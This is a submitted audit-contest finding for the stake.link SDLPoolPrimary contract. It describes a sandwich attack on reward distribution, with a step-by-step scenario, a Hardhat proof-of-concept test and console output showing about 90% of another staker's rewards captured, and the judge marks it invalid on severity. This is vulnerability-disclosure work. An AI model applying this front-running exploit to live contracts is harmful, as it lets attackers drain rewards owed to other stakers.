stake.link

stake.link
DeFiHardhatBridge
27,500 USDC
View results
Submission Details
Severity: high
Invalid

Risk of Using Sandwich Attack to Steal Instant Rewards

Vulnerability Details

The SDLPoolPrimary contract's reward distribution mechanism is subject to manipulation because of the way payments are calculated. A global rewardPerToken variable is used to calculate staker rewards and is increased whenever new rewards are added to the pool via the distributeToken function. Nevertheless, this method enables a malicious actor to easily purchase SDL tokens and stake prior to the distributeToken function being called, thereby rapidly accumulating a portion of rewards that were intended to be credited to other stakers. The malicious actor can then immediately claim the rewards, unstake and sell his sdl therefore stealing rewards from other stakers.

example :

Consider the following scenario:

  • Assume we have 10 sdl tokens staked before for alice . and the rewardPerToken is 1 reward

  • Bob monitors the mempool and observes a pending transaction that will trigger a reward distribution with 100 reward .

  • Bob sends 100 SDL tokens triggering onTokenTransfer to deposit and front-run the pending reward distribution transaction. In this case bob userRewardPerTokenPaid will be 1 , and Bob got 0 reward in rewards.

  • Once the distributeToken transaction is confirmed, rewardPerToken is updated to be : rewardPerToken += 100 / 110 ≈ 1.9 reward.

  • Bob immediately calls withdrawRewards to claim the rewards based on the updated rewardPerToken which will be according to the following formula :

    • Bob_staked * (rewardPerToken - userRewardPerTokenPaid[Bob]) = 100 * (1.9 - 1) = 90 reward

  • Bob then calls withdraw to withdraw his SDL tokens from the SdlPool.

By following this steps, Bob was able to instantly obtain 90% of the rewards, which put other stakers at a disadvantage.

POC :

it('Poc', async () => {
const alice = signers[2]
const bob = signers[3]
const aliceStake = toEther(10)
await sdlToken.connect(alice).transferAndCall(sdlPool.address, aliceStake, ethers.utils.defaultAbiCoder.encode(['uint256', 'uint64'], [0, 10 * DAY]))
// ===== FRONT RUN====
// We assume that some rewareds are sent to the pool to be distributed :
// bob will frontrun this to deposit sdl tokens :
await sdlToken.connect(bob).transferAndCall(sdlPool.address, toEther(100), ethers.utils.defaultAbiCoder.encode(['uint256', 'uint64'], [0, 0]))
// distribute rewards
await rewardToken.transferAndCall(sdlPool.address, aliceStake, "0x");
// Bob withdraws the rewards
await sdlPool.connect(bob).withdrawRewards(await sdlPool.supportedTokens())
// Bob withdraws his SDL
const lockId = await sdlPool.lastLockId()
await sdlPool.connect(bob).withdraw(lockId, toEther(100))
// check balances
const bobRewards = await rewardToken.balanceOf(await bob.getAddress())
const bobSdlBalance = await sdlToken.balanceOf(await bob.getAddress())
console.log(`"bob's rewards after sandwich attack : ${bobRewards}`)
console.log(`bob's sdl balance after sandwich attack : ${bobSdlBalance}`)
const ratio = bobRewards as any * 100 / (aliceStake as any);
console.log("bob was able to steal " ,ratio,"% of alice's rewards " );
})
  • console after running test :

SDLPoolPrimary
"bob's rewards after sandwich attack : 9068322981366459600
bob's sdl balance after sandwich attack : 10000000000000000000000
bob was able to steal 90.6832298136646 % of alice's rewards
✔ Poc (147ms)
1 passing (3s)

Impact

This attack enables an actor to unfairly claim a portion of the rewards that were intended to be attributed to other stakers without actually staking SDL tokens.

Tools Used

Manual Review

recommendations :

One possible approach is to add a lock period before calling distributeToken in which those who staked during that period will not receive rewards.

Updates

Lead Judging Commences

0kage Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.